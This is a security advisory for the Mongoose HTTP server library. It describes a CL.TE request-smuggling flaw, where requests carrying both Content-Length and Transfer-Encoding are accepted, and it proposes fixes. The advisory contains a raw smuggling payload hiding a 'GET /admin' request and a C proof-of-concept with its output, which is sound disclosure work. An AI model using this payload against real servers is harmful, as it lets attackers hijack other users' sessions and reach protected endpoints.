Skip to content

Content-Length + Transfer-Encoding coexistence enables request smuggling

Critical
scaprile published GHSA-5wfq-r6mr-wqp6 Aug 12, 2026

Package

https://github.com/cesanta/mongoose

Affected versions

7.21

Patched versions

7.22

Description

Summary

Mongoose accepts HTTP requests containing both Content-Length and Transfer-Encoding headers simultaneously. RFC 7230 §3.3.3 explicitly states such messages "might indicate an attempt to perform request smuggling and ought to be handled as an error." While Mongoose correctly rejects duplicate Content-Length headers and duplicate Transfer-Encoding headers, the combination of both is accepted. Mongoose prioritizes Transfer-Encoding: chunked over Content-Length, but a CL-preferring proxy in front of Mongoose would use Content-Length, creating a CL.TE request smuggling desync.


Severity

  • CVSS 3.1: 9.1 (Critical) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • CWE: CWE-444 (Inconsistent Interpretation of HTTP Requests — "HTTP Request Smuggling")

Affected Version

  • Package: https://github.com/cesanta/mongoose
  • Version: 7.21 (latest main, confirmed April 2026)
  • File: mongoose.c
  • Function: mg_http_parse() (line 2053) and http_cb() (line 2783)
  • Lines: 1989–1994 (header dedup), 2053 (CL parsing), 2783–2786 (TE processing)

Vulnerability Details

Root Cause

The header parser at lines 1989–1994 rejects duplicate headers within the same class:

if (((mg_strcasecmp(k, mg_str("Content-Length")) == 0) && (++cl_count > 1)) ||
  ((mg_strcasecmp(k, mg_str("Transfer-Encoding")) == 0) && (++te_count > 1)) ||
  ...)
  return false;

This prevents CL, CL and TE, TE duplicates. However, it does NOT check whether BOTH Content-Length AND Transfer-Encoding are present in the same request.

The request processing flow:

  1. mg_http_parse() (line 2053): Parses Content-Length, sets hm.body.len.
  2. http_cb() (line 2783): Checks for Transfer-Encoding: chunked, sets is_chunked = true.
  3. Chunked processing overrides the Content-Length body length.

Since Mongoose uses TE and ignores CL when both are present, a CL-preferring proxy sees a different request boundary.

CL.TE Smuggling Attack

POST / HTTP/1.1\r\n
Host: target\r\n
Content-Length: 0\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\n
AAAAA\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target\r\n
\r\n
  • CL-preferring proxy: Sees Content-Length: 0. Body is empty. The chunked data and smuggled GET /admin are forwarded as a separate pipelined request — but the proxy attributes them to the next legitimate client's connection.
  • Mongoose: Sees Transfer-Encoding: chunked. Reads the 5-byte chunk, then the 0-terminator. Then processes GET /admin as a new pipelined request.
  • Result: The smuggled GET /admin is processed by Mongoose but attributed by the proxy to a different client.

Proof of Concept

// CL+TE coexistence smuggling in Mongoose v7.21
// Build: gcc -DMG_ENABLE_LINES -I<mongoose_src> poc.c -o poc

#include "mongoose.c"
#include <stdio.h>

static void test_parse(const char *label, const char *req) {
    struct mg_http_message hm;
    int n = mg_http_parse(req, strlen(req), &hm);
    printf("  %-45s parse=%d", label, n);
    if (n > 0) {
        struct mg_str *cl = mg_http_get_header(&hm, "Content-Length");
        struct mg_str *te = mg_http_get_header(&hm, "Transfer-Encoding");
        printf("  CL=%s TE=%s body.len=%zu",
               cl ? "yes" : "no", te ? "yes" : "no", hm.body.len);
    }
    printf("\n");
}

int main(void) {
    printf("Mongoose v%s CL+TE coexistence PoC\n\n", MG_VERSION);

    printf("=== Duplicate header rejection (working correctly) ===\n");
    test_parse("Duplicate Content-Length",
        "POST / HTTP/1.1\r\nHost: t\r\n"
        "Content-Length: 5\r\nContent-Length: 10\r\n\r\n");
    test_parse("Duplicate Transfer-Encoding",
        "POST / HTTP/1.1\r\nHost: t\r\n"
        "Transfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\n\r\n");

    printf("\n=== CL + TE together (should be rejected per RFC 7230) ===\n");
    test_parse("Content-Length + Transfer-Encoding",
        "POST / HTTP/1.1\r\nHost: t\r\n"
        "Content-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n");
    test_parse("Transfer-Encoding + Content-Length",
        "POST / HTTP/1.1\r\nHost: t\r\n"
        "Transfer-Encoding: chunked\r\nContent-Length: 5\r\n\r\n");

    printf("\n=== CL.TE smuggling payload ===\n");
    const char *payload =
        "POST / HTTP/1.1\r\n"
        "Host: target\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "5\r\n"
        "AAAAA\r\n"
        "0\r\n"
        "\r\n";

    struct mg_http_message hm;
    int n = mg_http_parse(payload, strlen(payload), &hm);
    struct mg_str *cl = mg_http_get_header(&hm, "Content-Length");
    struct mg_str *te = mg_http_get_header(&hm, "Transfer-Encoding");
    printf("  Parsed: %d bytes\n", n);
    printf("  CL value: '%.*s'\n", cl ? (int)cl->len : 0, cl ? cl->buf : "");
    printf("  TE value: '%.*s'\n", te ? (int)te->len : 0, te ? te->buf : "");
    printf("  body.len (from CL): %zu\n", hm.body.len);
    printf("  BUG: Both headers accepted. Mongoose uses TE, proxy may use CL.\n");
    return 0;
}

Steps to Reproduce

gcc -DMG_ENABLE_LINES -I<mongoose_src> poc.c -o poc
./poc

Expected (correct) Output

parse=-1 (rejected — CL+TE indicates smuggling attempt)

Actual Output (vulnerable)

=== CL + TE together (should be rejected per RFC 7230) ===
  Content-Length + Transfer-Encoding            parse=75  CL=yes TE=yes body.len=5
  Transfer-Encoding + Content-Length            parse=75  CL=yes TE=yes body.len=5

=== CL.TE smuggling payload ===
  Parsed: 80 bytes
  CL value: '0'
  TE value: 'chunked'
  body.len (from CL): 0
  BUG: Both headers accepted. Mongoose uses TE, proxy may use CL.

Output Analysis

Headers Mongoose CL-proxy Desync?
CL only Uses CL Uses CL No
TE only Uses TE Uses TE No
CL + TE Uses TE Uses CL Yes
CL + CL Rejected N/A No
TE + TE Rejected N/A No

Impact

  • Confidentiality: High — smuggled requests access resources intended for other sessions.
  • Integrity: High — smuggled requests can modify state on behalf of other users.
  • Availability: None.
  • Attack vector: Network. Requires Mongoose behind a CL-preferring reverse proxy. This is the most common and well-documented class of HTTP request smuggling (CL.TE variant).

Suggested Fix

Reject requests containing both Content-Length and Transfer-Encoding in the header parser:

// In mg_http_parse_headers(), after the duplicate check block,
// reject CL + TE combination:
if (cl_count > 0 && te_count > 0) return false;

Or in http_cb(), before processing TE:

if (mg_http_get_header(&hm, "Content-Length") != NULL &&
    mg_http_get_header(&hm, "Transfer-Encoding") != NULL) {
  mg_error(c, "Both Content-Length and Transfer-Encoding present");
  return;
}

Patched In

Fixed in the 2026-06-23 Mongoose release (SBOM 7.21_1ddf6c2cbd_5ab08203 or later).


References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-73257

Weaknesses

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. Learn more on MITRE.

Credits